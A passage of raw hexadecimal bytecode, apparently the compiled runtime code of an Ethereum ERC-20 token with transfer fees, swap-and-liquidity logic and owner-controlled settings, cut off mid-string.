0x6080604052600436106101dc5760003560e01c80638da5cb5b11610102578063b6b3664311610095578063e5c2b0a611610064578063e5c2b0a6146106df578063ec28438a14610708578063f2fde38b14610731578063f84ba65d1461075a576101e3565b8063b6b3664314610625578063c49b9a801461064e578063c816841b14610677578063dd62ed3e146106a2576101e3565b8063a457c2d7116100d1578063a457c2d714610557578063a5d69d1f14610594578063a9059cbb146105bd578063b2bdfa7b146105fa576101e3565b80638da5cb5b146104bf578063914eb66a146104ea57806395d89b4114610501578063a073d37f1461052c576101e3565b8063313ce5671161017a578063557ed1ba11610149578063557ed1ba146103f15780635881f3ef1461041c57806370a0823114610459578063844d591c14610496576101e3565b8063313ce5671461033757806339509351146103625780633b97084a1461039f5780634cb80fd5146103c8576101e3565b806318160ddd116101b657806318160ddd1461027b57806323b872dd146102a65780632b112e49146102e35780632c4b23341461030e576101e3565b806306fdde03146101e8578063095ea7b3146102135780631694505e14610250576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610783565b60405161020a91906139dd565b60405180910390f35b34801561021f57600080fd5b5061023a60048036038101906102359190613556565b610815565b60405161024791906139a7565b60405180910390f35b34801561025c57600080fd5b50610265610833565b60405161027291906139c2565b60405180910390f35b34801561028757600080fd5b50610290610859565b60405161029d9190613b3f565b60405180910390f35b3480156102b257600080fd5b506102cd60048036038101906102c891906134c3565b610863565b6040516102da91906139a7565b60405180910390f35b3480156102ef57600080fd5b506102f861093d565b6040516103059190613b3f565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190613429565b610983565b005b34801561034357600080fd5b5061034c610a5c565b6040516103599190613be4565b60405180910390f35b34801561036e57600080fd5b5061038960048036038101906103849190613556565b610a73565b60405161039691906139a7565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c1919061360c565b610b26565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190613429565b610bc5565b005b3480156103fd57600080fd5b50610406610c9e565b6040516104139190613b3f565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e9190613429565b610ca6565b6040516104509190613902565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b9190613429565b61118a565b60405161048d9190613b3f565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190613516565b6111d3565b005b3480156104cb57600080fd5b506104d46112c3565b6040516104e19190613902565b60405180910390f35b3480156104f657600080fd5b506104ff6112ec565b005b34801561050d57600080fd5b5061051661143f565b60405161052391906139dd565b60405180910390f35b34801561053857600080fd5b506105416114d1565b60405161054e9190613b3f565b60405180910390f35b34801561056357600080fd5b5061057e60048036038101906105799190613556565b6114db565b60405161058b91906139a7565b60405180910390f35b3480156105a057600080fd5b506105bb60048036038101906105b691906135df565b6115a8565b005b3480156105c957600080fd5b506105e460048036038101906105df9190613556565b61165a565b6040516105f191906139a7565b60405180910390f35b34801561060657600080fd5b5061060f611679565b60405161061c9190613902565b60405180910390f35b34801561063157600080fd5b5061064c6004803603810190610647919061360c565b61169d565b005b34801561065a57600080fd5b50610675600480360381019061067091906135df565b61173c565b005b34801561068357600080fd5b5061068c611825565b6040516106999190613902565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190613483565b61184b565b6040516106d69190613b3f565b60405180910390f35b3480156106eb57600080fd5b506107066004803603810190610701919061360c565b6118d2565b005b34801561071457600080fd5b5061072f600480360381019061072a919061360c565b6119b5565b005b34801561073d57600080fd5b5061075860048036038101906107539190613429565b611a54565b005b34801561076657600080fd5b50610781600480360381019061077c9190613516565b611c16565b005b60606001805461079290613e8a565b80601f01602080910402602001604051908101604052809291908181526020018280546107be90613e8a565b801561080b5780601f106107e05761010080835404028352916020019161080b565b820191906000526020600020905b8154815290600101906020018083116107ee57829003601f168201915b5050505050905090565b6000610829610822611d06565b8484611d0e565b6001905092915050565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000610870848484611ed9565b506109328461087d611d06565b61092d856040518060600160405280602881526020016142e760289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108e3611d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b59092919063ffffffff16565b611d0e565b600190509392505050565b600061097e61096d600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661118a565b601b5461281990919063ffffffff16565b905090565b61098b611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f90613a9f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b6000610b1c610a80611d06565b84610b178560076000610a91611d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b611d0e565b6001905092915050565b610b2e611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb290613a9f565b60405180910390fd5b80601e8190555050565b610bcd611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613a9f565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600042905090565b6000610cb0611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3490613a9f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8857600080fd5b505afa158015610d9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc09190613456565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2257600080fd5b505afa158015610e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5a9190613456565b6040518363ffffffff1660e01b8152600401610e7792919061391d565b60206040518083038186803b158015610e8f57600080fd5b505afa158015610ea3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec79190613456565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611088578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4457600080fd5b505afa158015610f58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7c9190613456565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fde57600080fd5b505afa158015610ff2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110169190613456565b6040518363ffffffff1660e01b815260040161103392919061391d565b602060405180830381600087803b15801561104d57600080fd5b505af1158015611061573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110859190613456565b91505b81602260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a6000602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111db611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90613a9f565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6112f4611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890613a9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606002805461144e90613e8a565b80601f016020809104026020016040519081016040528092919081815260200182805461147a90613e8a565b80156114c75780601f1061149c576101008083540402835291602001916114c7565b820191906000526020600020905b8154815290600101906020018083116114aa57829003601f168201915b5050505050905090565b6000601e54905090565b600061159e6114e8611d06565b846115998560405180606001604052806025815260200161430f6025913960076000611512611d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b59092919063ffffffff16565b611d0e565b6001905092915050565b6115b0611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490613a9f565b60405180910390fd5b80602260166101000a81548160ff02191690831515021790555050565b600061166e611667611d06565b8484611ed9565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116a5611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172990613a9f565b60405180910390fd5b80601a8190555050565b611744611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c890613a9f565b60405180910390fd5b80602260156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161181a91906139a7565b60405180910390a150565b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6118da611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90613a9f565b60405180910390fd5b60038111156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613aff565b60405180910390fd5b80601f8190555050565b6119bd611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4190613a9f565b60405180910390fd5b80601c8190555050565b611a5c611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae090613a9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5090613a1f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611c1e611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca290613a9f565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590613b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de590613a3f565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ecc9190613b3f565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4190613adf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb1906139ff565b60405180910390fd5b60008211611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613abf565b60405180910390fd5b602260149054906101000a900460ff16156120245761201d8484846128c1565b90506127ae565b600061202f3061118a565b90506000601e5482101590508080156120555750602260149054906101000a900460ff16155b80156120ab5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120c35750602260159054906101000a900460ff165b156120ed57602260169054906101000a900460ff16156120e357601e5491505b6120ec82612a94565b5b612176846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b59092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806121c46112c3565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161415801561223257506122026112c3565b73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b1561243b576122736064612265612256601054600b5461281990919063ffffffff16565b89612c8590919063ffffffff16565b612d0090919063ffffffff16565b9150600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123595761230360646122f56122e6601054600b5461281990919063ffffffff16565b89612c8590919063ffffffff16565b612d0090919063ffffffff16565b9150600060105411801561231a5750601a54601954105b1561235457612347606461233960105489612c8590919063ffffffff16565b612d0090919063ffffffff16565b90506123538882612d4a565b5b61243a565b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612439576123e760646123d96123ca601854600c5461281990919063ffffffff16565b89612c8590919063ffffffff16565b612d0090919063ffffffff16565b915060006018541180156123fe5750601a54601954105b156124385761242b606461241d60185489612c8590919063ffffffff16565b612d0090919063ffffffff16565b90506124378882612d4a565b5b5b5b5b60008211156126ab57600091506000600267ffffffffffffffff81111561246557612464613fa9565b5b6040519080825280602002602001820160405280156124935781602001602082028036833780820191505090505b50905088816000815181106124ab576124aa613f7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505087816001815181106124fa576124f9613f7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f89846040518363ffffffff1660e01b8152600401612593929190613b5a565b60006040518083038186803b1580156125ab57600080fd5b505afa1580156125bf573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906125e89190613596565b9050806000815181106125fe576125fd613f7a565b5b6020026020010151846126119190613d86565b935061266584600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b6126fd86600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8860405161279d9190613b3f565b60405180910390a360019450505050505b9392505050565b60008383111582906127fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f491906139dd565b60405180910390fd5b506000838561280c9190613d86565b9050809150509392505050565b600061285b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127b5565b905092915050565b60008082846128729190613ca5565b9050838110156128b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ae90613a5f565b60405180910390fd5b8091505092915050565b600061294c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b59092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129e182600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a819190613b3f565b60405180910390a3600190509392505050565b6001602260146101000a81548160ff0219169083151502179055506000612aed6002612adf601454612ad160115487612c8590919063ffffffff16565b612d0090919063ffffffff16565b612d0090919063ffffffff16565b90506000612b04828461281990919063ffffffff16565b9050612b0f81612eda565b60004790506000612b40612b2f6002601154612d0090919063ffffffff16565b60145461281990919063ffffffff16565b90506000612b7e6002612b7084612b6260115488612c8590919063ffffffff16565b612d0090919063ffffffff16565b612d0090919063ffffffff16565b90506000612ba983612b9b60135487612c8590919063ffffffff16565b612d0090919063ffffffff16565b90506000612bd282612bc4858861281990919063ffffffff16565b61281990919063ffffffff16565b90506000811115612c0a57612c09600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613165565b5b6000821115612c4057612c3f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613165565b5b600083118015612c505750600087115b15612c6057612c5f87846131b0565b5b505050505050506000602260146101000a81548160ff02191690831515021790555050565b600080831415612c985760009050612cfa565b60008284612ca69190613d2c565b9050828482612cb59190613cfb565b14612cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cec90613a7f565b60405180910390fd5b809150505b92915050565b6000612d4283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132bf565b905092915050565b601a5460195410612d5a57612ed6565b612dce8160066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b60066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e488160195461286390919063ffffffff16565b601981905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ecd9190613b3f565b60405180910390a35b5050565b6000600267ffffffffffffffff811115612ef757612ef6613fa9565b5b604051908082528060200260200182016040528015612f255781602001602082028036833780820191505090505b5090503081600081518110612f3d57612f3c613f7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612fdf57600080fd5b505afa158015612ff3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130179190613456565b8160018151811061302b5761302a613f7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061309230602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d0e565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130f6959493929190613b8a565b600060405180830381600087803b15801561311057600080fd5b505af1158015613124573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613159929190613b5a565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156131ab573d6000803e3d6000fd5b505050565b6131dd30602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d0e565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161326696959493929190613946565b6060604051808303818588803b15801561327f57600080fd5b505af1158015613293573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132b89190613639565b5050505050565b60008083118290613306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132fd91906139dd565b60405180910390fd5b50600083856133159190613cfb565b9050809150509392505050565b600061333561333084613c24565b613bff565b9050808382526020820190508285602086028201111561335857613357613fdd565b5b60005b85811015613388578161336e8882613414565b84526020840193506020830192505060018101905061335b565b5050509392505050565b6000813590506133a1816142a1565b92915050565b6000815190506133b6816142a1565b92915050565b600082601f8301126133d1576133d0613fd8565b5b81516133e1848260208601613322565b91505092915050565b6000813590506133f9816142b8565b92915050565b60008135905061340e816142cf565b92915050565b600081519050613423816142cf565b92915050565b60006020828403121561343f5761343e613fe7565b5b600061344d84828501613392565b91505092915050565b60006020828403121561346c5761346b613fe7565b5b600061347a848285016133a7565b91505092915050565b6000806040838503121561349a57613499613fe7565b5b60006134a885828601613392565b92505060206134b985828601613392565b9150509250929050565b6000806000606084860312156134dc576134db613fe7565b5b60006134ea86828701613392565b93505060206134fb86828701613392565b925050604061350c868287016133ff565b9150509250925092565b6000806040838503121561352d5761352c613fe7565b5b600061353b85828601613392565b925050602061354c858286016133ea565b9150509250929050565b6000806040838503121561356d5761356c613fe7565b5b600061357b85828601613392565b925050602061358c858286016133ff565b9150509250929050565b6000602082840312156135ac576135ab613fe7565b5b600082015167ffffffffffffffff8111156135ca576135c9613fe2565b5b6135d6848285016133bc565b91505092915050565b6000602082840312156135f5576135f4613fe7565b5b6000613603848285016133ea565b91505092915050565b60006020828403121561362257613621613fe7565b5b6000613630848285016133ff565b91505092915050565b60008060006060848603121561365257613651613fe7565b5b600061366086828701613414565b935050602061367186828701613414565b925050604061368286828701613414565b9150509250925092565b600061369883836136a4565b60208301905092915050565b6136ad81613dba565b82525050565b6136bc81613dba565b82525050565b60006136cd82613c60565b6136d78185613c83565b93506136e283613c50565b8060005b838110156137135781516136fa888261368c565b975061370583613c76565b9250506001810190506136e6565b5085935050505092915050565b61372981613dcc565b82525050565b61373881613e0f565b82525050565b61374781613e21565b82525050565b600061375882613c6b565b6137628185613c94565b9350613772818560208601613e57565b61377b81613fec565b840191505092915050565b6000613793602383613c94565b915061379e82613ffd565b604082019050919050565b60006137b6602683613c94565b91506137c18261404c565b604082019050919050565b60006137d9602283613c94565b91506137e48261409b565b604082019050919050565b60006137fc601b83613c94565b9150613807826140ea565b602082019050919050565b600061381f602183613c94565b915061382a82614113565b604082019050919050565b6000613842602083613c94565b915061384d82614162565b602082019050919050565b6000613865602983613c94565b91506138708261418b565b604082019050919050565b6000613888602583613c94565b9150613893826141da565b604082019050919050565b60006138ab601283613c94565b91506138b682614229565b602082019050919050565b60006138ce602483613c94565b91506138d982614252565b604082019050919050565b6138ed81613df8565b82525050565b6138fc81613e02565b82525050565b600060208201905061391760008301846136b3565b92915050565b600060408201905061393260008301856136b3565b61393f60208301846136b3565b9392505050565b600060c08201905061395b60008301896136b3565b61396860208301886138e4565b613975604083018761373e565b613982606083018661373e565b61398f60808301856136b3565b61399c60a08301846138e4565b979650505050505050565b60006020820190506139bc6000830184613720565b92915050565b60006020820190506139d7600083018461372f565b92915050565b600060208201905081810360008301526139f7818461374d565b905092915050565b60006020820190508181036000830152613a1881613786565b9050919050565b60006020820190508181036000830152613a38816137a9565b9050919050565b60006020820190508181036000830152613a58816137cc565b9050919050565b60006020820190508181036000830152613a78816137ef565b9050919050565b60006020820190508181036000830152613a9881613812565b9050919050565b60006020820190508181036000830152613ab881613835565b9050919050565b60006020820190508181036000830152613ad881613858565b9050919050565b60006020820190508181036000830152613af88161387b565b9050919050565b60006020820190508181036000830152613b188161389e565b9050919050565b60006020820190508181036000830152613b38816138c1565b9050919050565b6000602082019050613b5460008301846138e4565b92915050565b6000604082019050613b6f60008301856138e4565b8181036020830152613b8181846136c2565b90509392505050565b600060a082019050613b9f60008301886138e4565b613bac602083018761373e565b8181036040830152613bbe81866136c2565b9050613bcd60608301856136b3565b613bda60808301846138e4565b9695505050505050565b6000602082019050613bf960008301846138f3565b92915050565b6000613c09613c1a565b9050613c158282613ebc565b919050565b6000604051905090565b600067ffffffffffffffff821115613c3f57613c3e613fa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613cb082613df8565b9150613cbb83613df8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cf057613cef613eed565b5b828201905092915050565b6000613d0682613df8565b9150613d1183613df8565b925082613d2157613d20613f1c565b5b828204905092915050565b6000613d3782613df8565b9150613d4283613df8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d7b57613d7a613eed565b5b828202905092915050565b6000613d9182613df8565b9150613d9c83613df8565b925082821015613daf57613dae613eed565b5b828203905092915050565b6000613dc582613dd8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613e1a82613e33565b9050919050565b6000613e2c82613df8565b9050919050565b6000613e3e82613e45565b9050919050565b6000613e5082613dd8565b9050919050565b60005b83811015613e75578082015181840152602081019050613e5a565b83811115613e84576000848401525b50505050565b60006002820490506001821680613ea257607f821691505b60208210811415613eb657613eb5613f4b565b5b50919050565b613ec582613fec565b810181811067ffffffffffffffff82111715613ee457613ee3613fa9565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20